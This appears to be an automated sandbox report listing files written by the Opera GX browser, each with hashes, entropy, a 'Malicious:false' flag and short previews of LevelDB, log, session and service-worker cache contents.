                                                                                                                                                                                                              C:\Users\user\AppData\Roaming\Opera Software\Opera GX Stable\Service Worker\Database\000001.dbtmp

                                                                                                                                                                                                              Download File
                                                                                                                                                                                                              Process:C:\Users\user\AppData\Local\Programs\Opera GX\opera.exe
                                                                                                                                                                                                              File Type:ASCII text
                                                                                                                                                                                                              Category:dropped
                                                                                                                                                                                                              Size (bytes):16
                                                                                                                                                                                                              Entropy (8bit):3.2743974703476995
                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                              SSDEEP:
                                                                                                                                                                                                              MD5:46295CAC801E5D4857D09837238A6394
                                                                                                                                                                                                              SHA1:44E0FA1B517DBF802B18FAF0785EEEA6AC51594B
                                                                                                                                                                                                              SHA-256:0F1BAD70C7BD1E0A69562853EC529355462FCD0423263A3D39D6D0D70B780443
                                                                                                                                                                                                              SHA-512:8969402593F927350E2CEB4B5BC2A277F3754697C1961E3D6237DA322257FBAB42909E1A742E22223447F3A4805F8D8EF525432A7C3515A549E984D3EFF72B23
                                                                                                                                                                                                              Malicious:false
                                                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                                                              Preview:MANIFEST-000001.

                                                                                                                                                                                                              C:\Users\user\AppData\Roaming\Opera Software\Opera GX Stable\Service Worker\Database\000003.log

                                                                                                                                                                                                              Download File
                                                                                                                                                                                                              Process:C:\Users\user\AppData\Local\Programs\Opera GX\opera.exe
                                                                                                                                                                                                              File Type:data
                                                                                                                                                                                                              Category:dropped
                                                                                                                                                                                                              Size (bytes):1104
                                                                                                                                                                                                              Entropy (8bit):5.817283646676305
                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                              SSDEEP:
                                                                                                                                                                                                              MD5:2A38AD661D91E537C1C56D2751873503
                                                                                                                                                                                                              SHA1:8A991C82E8C4BFD798B34DB95DC2E060979740B9
                                                                                                                                                                                                              SHA-256:12A61BE12D471CBCF79431FF29A0A4EA0D9703D31760AAE56FC5B8055FC950BB
                                                                                                                                                                                                              SHA-512:1BBEEC3CC91F7DEE1B7BD4727DC9FD58BA803ACEB028E300E5F7A3FC48DF77B68C45A76CDF5D83221C4B5EC7293C02A11DB4E1E89E0F55396C0AA44F87CC06AB
                                                                                                                                                                                                              Malicious:false
                                                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                                                              Preview:....I................URES:0...INITDATA_NEXT_RESOURCE_ID.1..INITDATA_DB_VERSION.2"..x2................URES:1...INITDATA_NEXT_RESOURCE_ID.2n.6e.................INITDATA_NEXT_REGISTRATION_ID.1..INITDATA_NEXT_VERSION_ID.1.KINITDATA_UNIQUE_ORIGIN:chrome-extension://hhckidpbkbmoeejbddojbdgidalionif/..:REG:chrome-extension://hhckidpbkbmoeejbddojbdgidalionif/.0.....4chrome-extension://hhckidpbkbmoeejbddojbdgidalionif/.Lchrome-extension://hhckidpbkbmoeejbddojbdgidalionif/sw/reactinator_worker.js .(.0.8........@."Z.b.....trueh.h..h..h..h..p.x..............................REGID_TO_ORIGIN:04chrome-extension://hhckidpbkbmoeejbddojbdgidalionif/..RES:0.0.....Lchrome-extension://hhckidpbkbmoeejbddojbdgidalionif/sw/reactinator_worker.js..""@E245EE65E012F3D005B66E9ECEDD17F1339B3134185ADF1365DB77B2EA42E846..URES:0..PRES:0...l................:REG:chrome-extension://hhckidpbkbmoeejbddojbdgidalionif/.0.....4chrome-extension://hhckidpbkbmoeejbddojbdgidalionif/.Lchrome-extension://hhckidpbkbmoeejbddojbdgidali

                                                                                                                                                                                                              C:\Users\user\AppData\Roaming\Opera Software\Opera GX Stable\Service Worker\Database\CURRENT (copy)

                                                                                                                                                                                                              Download File
                                                                                                                                                                                                              Process:C:\Users\user\AppData\Local\Programs\Opera GX\opera.exe
                                                                                                                                                                                                              File Type:ASCII text
                                                                                                                                                                                                              Category:dropped
                                                                                                                                                                                                              Size (bytes):16
                                                                                                                                                                                                              Entropy (8bit):3.2743974703476995
                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                              SSDEEP:
                                                                                                                                                                                                              MD5:46295CAC801E5D4857D09837238A6394
                                                                                                                                                                                                              SHA1:44E0FA1B517DBF802B18FAF0785EEEA6AC51594B
                                                                                                                                                                                                              SHA-256:0F1BAD70C7BD1E0A69562853EC529355462FCD0423263A3D39D6D0D70B780443
                                                                                                                                                                                                              SHA-512:8969402593F927350E2CEB4B5BC2A277F3754697C1961E3D6237DA322257FBAB42909E1A742E22223447F3A4805F8D8EF525432A7C3515A549E984D3EFF72B23
                                                                                                                                                                                                              Malicious:false
                                                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                                                              Preview:MANIFEST-000001.

                                                                                                                                                                                                              C:\Users\user\AppData\Roaming\Opera Software\Opera GX Stable\Service Worker\Database\LOG

                                                                                                                                                                                                              Download File
                                                                                                                                                                                                              Process:C:\Users\user\AppData\Local\Programs\Opera GX\opera.exe
                                                                                                                                                                                                              File Type:ASCII text
                                                                                                                                                                                                              Category:dropped
                                                                                                                                                                                                              Size (bytes):303
                                                                                                                                                                                                              Entropy (8bit):5.211584438761864
                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                              SSDEEP:
                                                                                                                                                                                                              MD5:75D665894FC82B15D9381E617F91C185
                                                                                                                                                                                                              SHA1:81846710D712B6DED4A841C9135703253713E395
                                                                                                                                                                                                              SHA-256:70D8CB5581F4F007C2AA52B9894B4C6ECEEF6F37C9179419A81F42B10B9A0558
                                                                                                                                                                                                              SHA-512:F8D2E60658D57944604C54BCCE18E032FB6EC01B0BCE5CE55B7B61D48BC716246EA1317BB209F0F8C7384E5FFBEB1E5986C203877E085FF52C64F7EF2AA3BD94
                                                                                                                                                                                                              Malicious:false
                                                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                                                              Preview:2024/10/13-04:34:17.996 df4 Creating DB C:\Users\user\AppData\Roaming\Opera Software\Opera GX Stable\Service Worker\Database since it was missing..2024/10/13-04:34:18.081 df4 Reusing MANIFEST C:\Users\user\AppData\Roaming\Opera Software\Opera GX Stable\Service Worker\Database/MANIFEST-000001.

                                                                                                                                                                                                              C:\Users\user\AppData\Roaming\Opera Software\Opera GX Stable\Service Worker\Database\MANIFEST-000001

                                                                                                                                                                                                              Download File
                                                                                                                                                                                                              Process:C:\Users\user\AppData\Local\Programs\Opera GX\opera.exe
                                                                                                                                                                                                              File Type:OpenPGP Secret Key
                                                                                                                                                                                                              Category:dropped
                                                                                                                                                                                                              Size (bytes):41
                                                                                                                                                                                                              Entropy (8bit):4.704993772857998
                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                              SSDEEP:
                                                                                                                                                                                                              MD5:5AF87DFD673BA2115E2FCF5CFDB727AB
                                                                                                                                                                                                              SHA1:D5B5BBF396DC291274584EF71F444F420B6056F1
                                                                                                                                                                                                              SHA-256:F9D31B278E215EB0D0E9CD709EDFA037E828F36214AB7906F612160FEAD4B2B4
                                                                                                                                                                                                              SHA-512:DE34583A7DBAFE4DD0DC0601E8F6906B9BC6A00C56C9323561204F77ABBC0DC9007C480FFE4092FF2F194D54616CAF50AECBD4A1E9583CAE0C76AD6DD7C2375B
                                                                                                                                                                                                              Malicious:false
                                                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                                                              Preview:.|.."....leveldb.BytewiseComparator......

                                                                                                                                                                                                              C:\Users\user\AppData\Roaming\Opera Software\Opera GX Stable\Service Worker\ScriptCache\2cc80dabc69f58b6_0

                                                                                                                                                                                                              Download File
                                                                                                                                                                                                              Process:C:\Users\user\AppData\Local\Programs\Opera GX\opera.exe
                                                                                                                                                                                                              File Type:data
                                                                                                                                                                                                              Category:dropped
                                                                                                                                                                                                              Size (bytes):4720
                                                                                                                                                                                                              Entropy (8bit):4.989157151413486
                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                              SSDEEP:
                                                                                                                                                                                                              MD5:0A300E259334094EFEF49B5F9362A796
                                                                                                                                                                                                              SHA1:8264C1CA2F8E4C8A7E406A436702A64F3C6BF59B
                                                                                                                                                                                                              SHA-256:2A6509314D5FBE37B230F6F05358D5B5299C51AFD16F810965F1F712365B93EF
                                                                                                                                                                                                              SHA-512:4556073E054AD54CDF2B3CF0A202772B339C7F1BF29DD8099444FAC7317B49B3315251FD00530F7FABE62EDB864923E5AE6302E1081B94BA1493D5FCB149BC15
                                                                                                                                                                                                              Malicious:false
                                                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                                                              Preview:0\r..m..........rSG.....0// Copyright (C) 2024 Opera Norway AS. All rights reserved..//.// This file is an original work developed by Opera..const createKey = () => (Math.random() + 1).toString(36).substring(4);..class ReactinatorService {. static CONFIG_CACHE = [];. static CONFIG_URL = 'https://api.config.opr.gg/v0/config';. static STORED = [];. static STORED_VIDEOS_KEY = 'stored-keys';. static INDEX_KEY = 'default-index';.. static init() {. ReactinatorService.updateStorage();. }.. static updateStorage() {. chrome.storage.local.get(null, data => {. const storedKeys = data[ReactinatorService.STORED_VIDEOS_KEY] || [];. ReactinatorService.STORED = storedKeys.map(storedKey => data[storedKey]);. });. }.. static buildConfigUrl_(campaignUtm) {. const url = new URL(ReactinatorService.CONFIG_URL);.. const urlParams = new URLSearchParams();. urlParams.append('client', 'gx');. urlParams.append('feature', 'reactinator');. if (campaignUtm) {. urlPar

                                                                                                                                                                                                              C:\Users\user\AppData\Roaming\Opera Software\Opera GX Stable\Service Worker\ScriptCache\4cb013792b196a35_0

                                                                                                                                                                                                              Download File
                                                                                                                                                                                                              Process:C:\Users\user\AppData\Local\Programs\Opera GX\opera.exe
                                                                                                                                                                                                              File Type:data
                                                                                                                                                                                                              Category:dropped
                                                                                                                                                                                                              Size (bytes):33730
                                                                                                                                                                                                              Entropy (8bit):5.6325269258849655
                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                              SSDEEP:
                                                                                                                                                                                                              MD5:876A4D53F1F31B74444541B874EECCFF
                                                                                                                                                                                                              SHA1:37FA5879AD69BE3C631DDA8443D8D42524266F80
                                                                                                                                                                                                              SHA-256:D2BA104462B7C6EB4ACC7614488B31DCCFF5AF93E4F9B205751F42BD6661F6A5
                                                                                                                                                                                                              SHA-512:D007D8D3EE1E0F18A482B9B81F6135605C6596D8CEC933228F2A2EADFBB3AAE1E34B27619E03CAB63853EAFCB64EDC0B82510D4F9A33C95BD84CC9AD9E922B24
                                                                                                                                                                                                              Malicious:false
                                                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                                                              Preview:0\r..m..........V.......1try{self["workbox:core:7.0.0"]&&_()}catch{}const Y=(s,...e)=>{let t=s;return e.length>0&&(t+=` :: ${JSON.stringify(e)}`),t},Z=Y;class l extends Error{constructor(e,t){const n=Z(e,t);super(n),this.name=e,this.details=t}}const $=new Set;function ee(s){$.add(s)}const g={googleAnalytics:"googleAnalytics",precache:"precache-v2",prefix:"workbox",runtime:"runtime",suffix:typeof registration<"u"?registration.scope:""},U=s=>[g.prefix,s,g.suffix].filter(e=>e&&e.length>0).join("-"),te=s=>{for(const e of Object.keys(g))s(e)},D={updateDetails:s=>{te(e=>{typeof s[e]=="string"&&(g[e]=s[e])})},getGoogleAnalyticsName:s=>s||U(g.googleAnalytics),getPrecacheName:s=>s||U(g.precache),getPrefix:()=>g.prefix,getRuntimeName:s=>s||U(g.runtime),getSuffix:()=>g.suffix};function W(s,e){const t=new URL(s);for(const n of e)t.searchParams.delete(n);return t.href}async function se(s,e,t,n){const a=W(e.url,t);if(e.url===a)return s.match(e,n);const i=Object.assign(Object.assign({},n),{ignoreSear

                                                                                                                                                                                                              C:\Users\user\AppData\Roaming\Opera Software\Opera GX Stable\Service Worker\ScriptCache\4cb013792b196a35_1

                                                                                                                                                                                                              Download File
                                                                                                                                                                                                              Process:C:\Users\user\AppData\Local\Programs\Opera GX\opera.exe
                                                                                                                                                                                                              File Type:data
                                                                                                                                                                                                              Category:dropped
                                                                                                                                                                                                              Size (bytes):89881
                                                                                                                                                                                                              Entropy (8bit):6.011899698112257
                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                              SSDEEP:
                                                                                                                                                                                                              MD5:11AE2E44EFCFB382642B34636B40D9AD
                                                                                                                                                                                                              SHA1:8BCB020CB043BF6277CAD33E28C1EEE61543F2DA
                                                                                                                                                                                                              SHA-256:ACEF407EE8621846E70807A6ADB6A28B2EBAC456B331D2AD6D5968F9D03F13C4
                                                                                                                                                                                                              SHA-512:0CD1CDB2EDC71E6A24D6F3C9A6B37407AEAF2B048161B2A202C93414A7CC74FC6B09D4F34A94111EC321ED7E28E5E866DD248AC2EAE6DFD992C8E28CAFDBAC02
                                                                                                                                                                                                              Malicious:false
                                                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                                                              Preview:0\r..m..........V.......1....r.$.........<...z...x......na.^...........0T.......`............a........`......h.y.x....................................A...R...A................+...............9......j...{....G...........q.`......L`x....0T..<..`".........a........`............`...........g................./....a.........`.....(Sd.qA...................Rb.y[.....ee..`....D...Sd@0......r.......*.........A...................Rb........te........A...Rb.N.....ae....RbB. .....re....Rbj.r.....le....Rb...>....de....Rb.0.....fe....Rb.a......pe............Rb..E.....me............A...........Rb...1....ge....Rb..|h....we........Rb........ye....Rb...$....be....Rb>o.s....xe....Rb...%....Ee....Rb..EX....Le........Rb&.......Ue....A...A...A...........A...........A...Rb..^T....We....Rb...'....Be........RbV.h.....je............Rb.(X.....Fe....Rb.......qe....A.......Rb...&....He....Rb.v......Ve........A...Rb.......$e......................................................................................

                                                                                                                                                                                                              C:\Users\user\AppData\Roaming\Opera Software\Opera GX Stable\Service Worker\ScriptCache\index

                                                                                                                                                                                                              Download File
                                                                                                                                                                                                              Process:C:\Users\user\AppData\Local\Programs\Opera GX\opera.exe
                                                                                                                                                                                                              File Type:data
                                                                                                                                                                                                              Category:dropped
                                                                                                                                                                                                              Size (bytes):24
                                                                                                                                                                                                              Entropy (8bit):2.1431558784658327
                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                              SSDEEP:
                                                                                                                                                                                                              MD5:54CB446F628B2EA4A5BCE5769910512E
                                                                                                                                                                                                              SHA1:C27CA848427FE87F5CF4D0E0E3CD57151B0D820D
                                                                                                                                                                                                              SHA-256:FBCFE23A2ECB82B7100C50811691DDE0A33AA3DA8D176BE9882A9DB485DC0F2D
                                                                                                                                                                                                              SHA-512:8F6ED2E91AED9BD415789B1DBE591E7EAB29F3F1B48FDFA5E864D7BF4AE554ACC5D82B4097A770DABC228523253623E4296C5023CF48252E1B94382C43123CB0
                                                                                                                                                                                                              Malicious:false
                                                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                                                              Preview:0\r..m..................

                                                                                                                                                                                                              C:\Users\user\AppData\Roaming\Opera Software\Opera GX Stable\Service Worker\ScriptCache\index-dir\temp-index

                                                                                                                                                                                                              Download File
                                                                                                                                                                                                              Process:C:\Users\user\AppData\Local\Programs\Opera GX\opera.exe
                                                                                                                                                                                                              File Type:data
                                                                                                                                                                                                              Category:dropped
                                                                                                                                                                                                              Size (bytes):96
                                                                                                                                                                                                              Entropy (8bit):3.5554511722130435
                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                              SSDEEP:
                                                                                                                                                                                                              MD5:9ECD326DD5EC1ED8D23FB83B62548E74
                                                                                                                                                                                                              SHA1:434F0AFAF25ED62346B0A9898872BDBBF9F1FED1
                                                                                                                                                                                                              SHA-256:696FABEB63716CC7D35F853CE6720D3A6E028F57A52F12658B46EEE44FC4E21E
                                                                                                                                                                                                              SHA-512:27E9503EFE37E21AFB908462F1F60725D05B050E9464B3A803D331DEE7B28BA748D8E672A3CD915EA3968527F9D761343D80C50153F620AB41CDA4A6CDF0FC12
                                                                                                                                                                                                              Malicious:false
                                                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                                                              Preview:X...e...oy retne........................5j.+y..L|................X....,$.................*../.

                                                                                                                                                                                                              C:\Users\user\AppData\Roaming\Opera Software\Opera GX Stable\Service Worker\ScriptCache\index-dir\the-real-index (copy)

                                                                                                                                                                                                              Download File
                                                                                                                                                                                                              Process:C:\Users\user\AppData\Local\Programs\Opera GX\opera.exe
                                                                                                                                                                                                              File Type:data
                                                                                                                                                                                                              Category:dropped
                                                                                                                                                                                                              Size (bytes):96
                                                                                                                                                                                                              Entropy (8bit):3.5554511722130435
                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                              SSDEEP:
                                                                                                                                                                                                              MD5:9ECD326DD5EC1ED8D23FB83B62548E74
                                                                                                                                                                                                              SHA1:434F0AFAF25ED62346B0A9898872BDBBF9F1FED1
                                                                                                                                                                                                              SHA-256:696FABEB63716CC7D35F853CE6720D3A6E028F57A52F12658B46EEE44FC4E21E
                                                                                                                                                                                                              SHA-512:27E9503EFE37E21AFB908462F1F60725D05B050E9464B3A803D331DEE7B28BA748D8E672A3CD915EA3968527F9D761343D80C50153F620AB41CDA4A6CDF0FC12
                                                                                                                                                                                                              Malicious:false
                                                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                                                              Preview:X...e...oy retne........................5j.+y..L|................X....,$.................*../.

                                                                                                                                                                                                              C:\Users\user\AppData\Roaming\Opera Software\Opera GX Stable\Service Worker\ScriptCache\index-dir\the-real-index~RF3dedd2.TMP (copy)

                                                                                                                                                                                                              Download File
                                                                                                                                                                                                              Process:C:\Users\user\AppData\Local\Programs\Opera GX\opera.exe
                                                                                                                                                                                                              File Type:data
                                                                                                                                                                                                              Category:dropped
                                                                                                                                                                                                              Size (bytes):96
                                                                                                                                                                                                              Entropy (8bit):3.5554511722130435
                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                              SSDEEP:
                                                                                                                                                                                                              MD5:9ECD326DD5EC1ED8D23FB83B62548E74
                                                                                                                                                                                                              SHA1:434F0AFAF25ED62346B0A9898872BDBBF9F1FED1
                                                                                                                                                                                                              SHA-256:696FABEB63716CC7D35F853CE6720D3A6E028F57A52F12658B46EEE44FC4E21E
                                                                                                                                                                                                              SHA-512:27E9503EFE37E21AFB908462F1F60725D05B050E9464B3A803D331DEE7B28BA748D8E672A3CD915EA3968527F9D761343D80C50153F620AB41CDA4A6CDF0FC12
                                                                                                                                                                                                              Malicious:false
                                                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                                                              Preview:X...e...oy retne........................5j.+y..L|................X....,$.................*../.

                                                                                                                                                                                                              C:\Users\user\AppData\Roaming\Opera Software\Opera GX Stable\Session Storage\000001.dbtmp

                                                                                                                                                                                                              Download File
                                                                                                                                                                                                              Process:C:\Users\user\AppData\Local\Programs\Opera GX\opera.exe
                                                                                                                                                                                                              File Type:ASCII text
                                                                                                                                                                                                              Category:dropped
                                                                                                                                                                                                              Size (bytes):16
                                                                                                                                                                                                              Entropy (8bit):3.2743974703476995
                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                              SSDEEP:
                                                                                                                                                                                                              MD5:46295CAC801E5D4857D09837238A6394
                                                                                                                                                                                                              SHA1:44E0FA1B517DBF802B18FAF0785EEEA6AC51594B
                                                                                                                                                                                                              SHA-256:0F1BAD70C7BD1E0A69562853EC529355462FCD0423263A3D39D6D0D70B780443
                                                                                                                                                                                                              SHA-512:8969402593F927350E2CEB4B5BC2A277F3754697C1961E3D6237DA322257FBAB42909E1A742E22223447F3A4805F8D8EF525432A7C3515A549E984D3EFF72B23
                                                                                                                                                                                                              Malicious:false
                                                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                                                              Preview:MANIFEST-000001.

                                                                                                                                                                                                              C:\Users\user\AppData\Roaming\Opera Software\Opera GX Stable\Session Storage\000003.log

                                                                                                                                                                                                              Download File
                                                                                                                                                                                                              Process:C:\Users\user\AppData\Local\Programs\Opera GX\opera.exe
                                                                                                                                                                                                              File Type:data
                                                                                                                                                                                                              Category:dropped
                                                                                                                                                                                                              Size (bytes):1803
                                                                                                                                                                                                              Entropy (8bit):5.094518526745138
                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                              SSDEEP:
                                                                                                                                                                                                              MD5:4EE5EC42A068271F6A79EB39873260F2
                                                                                                                                                                                                              SHA1:FA4382188C38FD2C8F712C3B643DDD73A010ADCF
                                                                                                                                                                                                              SHA-256:AAC1DBD4D45F9F3D2AA41719ED6160B6D16B2E048602D735A7A911251E0FF646
                                                                                                                                                                                                              SHA-512:7E739E5021F62B6855BD67A454222467F1A2A491E5B23C66608C7D62BFB5340D7654F09A24E5F996835D31FA7E64F3447ED3A806DBD2171BFEA49FEBA931027E
                                                                                                                                                                                                              Malicious:false
                                                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                                                              Preview:*...#................version.1..namespace-..&f...................................next-map-id.1.cnamespace-0a8fab07_7098_488e_8099_d93715bd8b59-chrome-extension://pdcifnciicbfakdajkbbhphlabjminhg/.0y.(.a................next-map-id.2.Bnamespace-0d532199_b737_4982_8d7a_80510b53ae23-chrome://startpage/.1....a................next-map-id.3.Bnamespace-ce3b571f_dfd4_4c3c_80c7_fcdd051cc489-chrome://startpage/.27.F.f................next-map-id.4.Gnamespace-c113f03d_064b_454d_bf0e_55ca7d56e75a-https://redir.opera.com/.3.m.e................next-map-id.5.Fnamespace-25fb15d2_e47d_4b39_90c5_c8b01e2b66dc-https://gxcorner.games/.4*#.ve................next-map-id.6.Fnamespace-afa56fc8_0dd1_4ffb_9a98_1d25d1df269c-https://gxcorner.games/.5rO.KU...............Gnamespace-c113f03d_064b_454d_bf0e_55ca7d56e75a-https://redir.opera.com/w\S................. map-1-start-page-state-687175126..[.[.".0.0.0.0.6.9.8.4.0.2.3.A.9.0.0.0.:.3.5.".,.{.".s.e.a.r.c.h.B.o.x.".:.{.".i.n.p.u.t.V.a.l.u.e.".:.".".,.".s.e.l.e.c.t.

                                                                                                                                                                                                              C:\Users\user\AppData\Roaming\Opera Software\Opera GX Stable\Session Storage\CURRENT (copy)

                                                                                                                                                                                                              Download File
                                                                                                                                                                                                              Process:C:\Users\user\AppData\Local\Programs\Opera GX\opera.exe
                                                                                                                                                                                                              File Type:ASCII text
                                                                                                                                                                                                              Category:dropped
                                                                                                                                                                                                              Size (bytes):16
                                                                                                                                                                                                              Entropy (8bit):3.2743974703476995
                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                              SSDEEP:
                                                                                                                                                                                                              MD5:46295CAC801E5D4857D09837238A6394
                                                                                                                                                                                                              SHA1:44E0FA1B517DBF802B18FAF0785EEEA6AC51594B
                                                                                                                                                                                                              SHA-256:0F1BAD70C7BD1E0A69562853EC529355462FCD0423263A3D39D6D0D70B780443
                                                                                                                                                                                                              SHA-512:8969402593F927350E2CEB4B5BC2A277F3754697C1961E3D6237DA322257FBAB42909E1A742E22223447F3A4805F8D8EF525432A7C3515A549E984D3EFF72B23
                                                                                                                                                                                                              Malicious:false
                                                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                                                              Preview:MANIFEST-000001.

                                                                                                                                                                                                              C:\Users\user\AppData\Roaming\Opera Software\Opera GX Stable\Session Storage\LOG

                                                                                                                                                                                                              Download File
                                                                                                                                                                                                              Process:C:\Users\user\AppData\Local\Programs\Opera GX\opera.exe
                                                                                                                                                                                                              File Type:ASCII text
                                                                                                                                                                                                              Category:dropped
                                                                                                                                                                                                              Size (bytes):289
                                                                                                                                                                                                              Entropy (8bit):5.208054497755306
                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                              SSDEEP:
                                                                                                                                                                                                              MD5:D28EB9FAE4EB4A85A6D5BF882F05CBDD
                                                                                                                                                                                                              SHA1:0686216A15084244E02DE5C6E654F8E446150101
                                                                                                                                                                                                              SHA-256:7087AE251FBBB41CEBFC2AED341EAE8163E4A31E060E4C0AD4091FAE2742033B
                                                                                                                                                                                                              SHA-512:CEEC9017357FA243E5E0CE783BB85757A453F604D36903AC465E55BE386DE9C9958538238914C2BEA8C0A810547E27F6B31EF5D4BCA5C1A4E97201850EA92ADB
                                                                                                                                                                                                              Malicious:false
                                                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                                                              Preview:2024/10/13-04:34:15.663 193c Creating DB C:\Users\user\AppData\Roaming\Opera Software\Opera GX Stable\Session Storage since it was missing..2024/10/13-04:34:15.789 193c Reusing MANIFEST C:\Users\user\AppData\Roaming\Opera Software\Opera GX Stable\Session Storage/MANIFEST-000001.

                                                                                                                                                                                                              C:\Users\user\AppData\Roaming\Opera Software\Opera GX Stable\Session Storage\MANIFEST-000001

                                                                                                                                                                                                              Download File
                                                                                                                                                                                                              Process:C:\Users\user\AppData\Local\Programs\Opera GX\opera.exe
                                                                                                                                                                                                              File Type:OpenPGP Secret Key
                                                                                                                                                                                                              Category:dropped
                                                                                                                                                                                                              Size (bytes):41
                                                                                                                                                                                                              Entropy (8bit):4.704993772857998
                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                              SSDEEP:
                                                                                                                                                                                                              MD5:5AF87DFD673BA2115E2FCF5CFDB727AB
                                                                                                                                                                                                              SHA1:D5B5BBF396DC291274584EF71F444F420B6056F1
                                                                                                                                                                                                              SHA-256:F9D31B278E215EB0D0E9CD709EDFA037E828F36214AB7906F612160FEAD4B2B4
                                                                                                                                                                                                              SHA-512:DE34583A7DBAFE4DD0DC0601E8F6906B9BC6A00C56C9323561204F77ABBC0DC9007C480FFE4092FF2F194D54616CAF50AECBD4A1E9583CAE0C76AD6DD7C2375B
                                                                                                                                                                                                              Malicious:false
                                                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                                                              Preview:.|.."....leveldb.BytewiseComparator......

                                                                                                                                                                                                              C:\Users\user\AppData\Roaming\Opera Software\Opera GX Stable\Sessions\Session_13373282055842987

                                                                                                                                                                                                              Download File
                                                                                                                                                                                                              Process:C:\Users\user\AppData\Local\Programs\Opera GX\opera.exe
                                                                                                                                                                                                              File Type:data
                                                                                                                                                                                                              Category:dropped
                                                                                                                                                                                                              Size (bytes):22247
                                                                                                                                                                                                              Entropy (8bit):3.1802927631444438
                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                              SSDEEP:
                                                                                                                                                                                                              MD5:15C555088D2BD47024A161EA00FD17B9
                                                                                                                                                                                                              SHA1:C5465213B6EAA23AE808D055D4DF6C4292F2CD36
                                                                                                                                                                                                              SHA-256:BEE9813449838647B7FD4C52B6533660DF9BB0C433C2AA592CCFEDF481982A49
                                                                                                                                                                                                              SHA-512:9A57AB6E6325C3D4F4929F2347BD93B533D6764B7CA24971685B24198A2698A14CBD87A4F8B90C4D6C2E1B3F2363094531519AEB1E887B47B51D273361299D90
                                                                                                                                                                                                              Malicious:false
                                                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                                                              Preview:SNSS........u.(............u.(...... .u.(........u.(%.. ....u.(....workspaces_state....0.......u.(........u.(....!...u.(................................u.(.u.(1..,....u.($...25fb15d2_e47d_4b39_90c5_c8b01e2b66dc....u.(........u.(......_../.%.. ....u.(....workspaces_state....0...%.. ....u.(....workspaces_state....0.......u.(........u.(....!...u.(................................u.(.u.(1..,....u.($...1aa4f302_cbc7_4015_adc5_e429f2c4c7b5....u.(........u.(.....A`../.....u.(....{..................5..0....u.(&...{4B3AC14B-43E5-4896-86E8-9E7D502CE1B5}......u.(............u.(........chrome://startpageshared/.......l...h...!...`....................................................................................................c..W$...c..W$.......... .......................p...............................................:.......c.h.r.o.m.e.:././.s.t.a.r.t.p.a.g.e.s.h.a.r.e.d./.......................................8.......0.......8.................................................................

                                                                                                                                                                                                              C:\Users\user\AppData\Roaming\Opera Software\Opera GX Stable\ShaderCache\data_0

                                                                                                                                                                                                              Download File
                                                                                                                                                                                                              Process:C:\Users\user\AppData\Local\Programs\Opera GX\opera.exe
                                                                                                                                                                                                              File Type:FoxPro FPT, blocks size 512, next free block index 3284796609, field type 0
                                                                                                                                                                                                              Category:dropped
                                                                                                                                                                                                              Size (bytes):8192
                                                                                                                                                                                                              Entropy (8bit):0.01057775872642915
                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                              SSDEEP:
                                                                                                                                                                                                              MD5:CF89D16BB9107C631DAABF0C0EE58EFB
                                                                                                                                                                                                              SHA1:3AE5D3A7CF1F94A56E42F9A58D90A0B9616AE74B
                                                                                                                                                                                                              SHA-256:D6A5FE39CD672781B256E0E3102F7022635F1D4BB7CFCC90A80FFFE4D0F3877E
                                                                                                                                                                                                              SHA-512:8CB5B059C8105EB91E74A7D5952437AAA1ADA89763C5843E7B0F1B93D9EBE15ED40F287C652229291FAC02D712CF7FF5ECECEF276BA0D7DDC35558A3EC3F77B0
                                                                                                                                                                                                              Malicious:false
                                                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                                                              Preview:............$...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                                                                                                                                                                                              C:\Users\user\AppData\Roaming\Opera Software\Opera GX Stable\ShaderCache\data_1

                                                                                                                                                                                                              Download File
                                                                                                                                                                                                              Process:C:\Users\user\AppData\Local\Programs\Opera GX\opera.exe
                                                                                                                                                                                                              File Type:data
                                                                                                                                                                                                              Category:dropped
                                                                                                                                                                                                              Size (bytes):270336
                                                                                                                                                                                                              Entropy (8bit):8.280239615765425E-4
                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                              SSDEEP:
                                                                                                                                                                                                              MD5:D0D388F3865D0523E451D6BA0BE34CC4
                                                                                                                                                                                                              SHA1:8571C6A52AACC2747C048E3419E5657B74612995
                                                                                                                                                                                                              SHA-256:902F30C1FB0597D0734BC34B979EC5D131F8F39A4B71B338083821216EC8D61B
                                                                                                                                                                                                              SHA-512:376011D00DE659EB6082A74E862CFAC97A9BB508E0B740761505142E2D24EC1C30AA61EFBC1C0DD08FF0F34734444DE7F77DD90A6CA42B48A4C7FAD5F0BDDD17
